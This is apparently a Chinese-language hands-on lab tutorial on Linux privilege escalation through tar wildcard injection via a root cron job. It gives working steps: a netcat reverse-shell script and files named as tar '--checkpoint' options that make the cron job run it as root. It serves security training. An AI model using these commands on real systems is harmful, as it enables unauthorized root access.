介绍
在本实验中,我们将学习通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。具体来说,我们将探讨广泛使用的 tar
命令中的通配符注入原理,并通过结合 crontab
工具利用此漏洞来获取 root 权限,进行实际操作练习。
在本实验中,我们将学习通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。具体来说,我们将探讨广泛使用的 tar
命令中的通配符注入原理,并通过结合 crontab
工具利用此漏洞来获取 root 权限,进行实际操作练习。
首先,让我们了解什么是通配符以及它们在 Linux shell 中的工作原理。通配符是特殊字符或字符序列,可用于表示或匹配一组文件名或路径。
以下是一些常见的通配符:
*
(星号)匹配文件名或路径中的任意数量的字符(包括零个字符)。?
(问号)匹配任意单个字符。[]
(方括号)匹配方括号内指定的字符集中的任意单个字符。~
(波浪号)表示当前用户的主目录,如果后面跟有用户名,则表示其他用户的主目录。在权限提升的上下文中,*
和 -
通配符经常被使用。让我们首先探索 shell 如何解释 -
字符。
打开终端并导航到 /home/labex/project
目录:
cd /home/labex/project
当前目录中有一个名为 --help
的文件。尝试思考并实验如何查看此文件的内容。
如果你使用 cat --help
命令,你会得到 cat
命令的帮助信息,而不是查看 --help
文件的内容。
同样,如果你使用 vim --help
,你会看到 vim
命令的帮助信息。
这是因为 Linux shell 将 -
解释为命令参数。
要查看 --help
文件的内容,你需要避免以 -
开头的文件名。你可以使用:
cat /home/labex/project/--help
这样,shell 就不会将 --help
解释为参数,你就可以查看文件的内容了。
现在,让我们用你选择的任何编辑器更改 --help
文件的内容。例如,你可以使用 nano
:
nano /home/labex/project/--help
删除现有内容,并在文件中添加以下文本:
I can read the file
保存并退出 nano。
shell 的这种行为正是通配符注入所利用的。
通配符注入通常与 cron 任务结合使用,因此让我们探索一个涉及 tar
命令的真实示例。
为了理解通配符注入如何导致权限提升,我们将通过一个涉及 tar
命令和 crontab
的实际操作练习来进行演示。
首先,通过运行以下命令初始化实验环境:
导航到 /home/labex/project
目录:
cd /home/labex/project
运行设置脚本以初始化实验环境:
./env_setup.sh
初始化后,你将切换到 user001
用户(模拟攻击者已获得初始 shell 访问权限)。
然后,检查 crontab
中的计划任务:
cat /etc/crontab
预期输出:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
你应该会看到一个每分钟运行一次的任务,该任务将 /var/www/html/
目录的内容归档到一个压缩文件 /var/backups/html.tgz
中。
接下来,查看 /var/www/html
目录中的文件:
ls /var/www/html
为了利用通配符注入漏洞,我们需要在 /var/www/html/
目录中创建以下三个文件。
首先,导航到 /var/www/html
目录:
cd /var/www/html/
shell.sh
,内容为执行反向 shell 的命令:
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
一个名为 --checkpoint-action=exec=sh shell.sh
的文件(注意文件名中的空格):
echo "" > "--checkpoint-action=exec=sh shell.sh"
一个名为 --checkpoint=1
的文件:
echo "" > --checkpoint=1
创建这些文件后,/var/www/html/
目录应如下所示:
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
当 cron 任务执行以下命令时:
tar -zcf /var/backups/html.tgz /var/www/html/*
它将被解释为:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
以下是参数的含义:
--checkpoint
和 --checkpoint-action
通常一起使用。前者设置检查点,后者指定在达到检查点时执行的操作。--checkpoint-action=exec=sh shell.sh
表示在达到检查点时,将执行 shell.sh
脚本。因此,每当 cron 任务运行时,shell.sh
脚本将被执行,这将反向 shell /bin/bash
到本地端口 4444。
在当前 shell 中设置一个监听本地端口 4444 的监听器:
nc -lnvp 4444
稍等片刻,当 cron 任务执行时,我们应该会收到具有 root 权限的反向 shell:
预期输出:
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
尝试在 /root
目录中创建一个文件 success.txt
,以确认你具有 root 权限:
touch /root/success.txt
如果你可以创建文件而没有任何权限错误,那么你已经成功地利用通配符注入提升了权限。
这种 tar
+ crontab
权限提升技术有两个重要的限制:
html
目录需要为“其他”用户提供写(w)权限,以便我们可以在该目录中创建 shell.sh
和其他文件。
crontab
中的 tar
命令不应包含绝对路径。例如,如果 crontab
条目如下所示:
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
通配符注入将失败,因为 shell 会将命令解释为:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
在这种情况下,/var/www/html/--checkpoint=1
和 /var/www/html/--checkpoint-action=exec=sh shell.sh
不会被解释为 tar
命令参数,注入将失败。
在本实验中,我们学习了通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。我们探讨了广泛使用的 tar
命令中的通配符注入原理,并通过结合 crontab
工具利用此漏洞来获取 root 权限,进行了实际操作练习。通过本实验,我们获得了理解和利用真实世界权限提升漏洞的实践经验,这对于任何安全专业人员或系统管理员来说都是一项必备技能。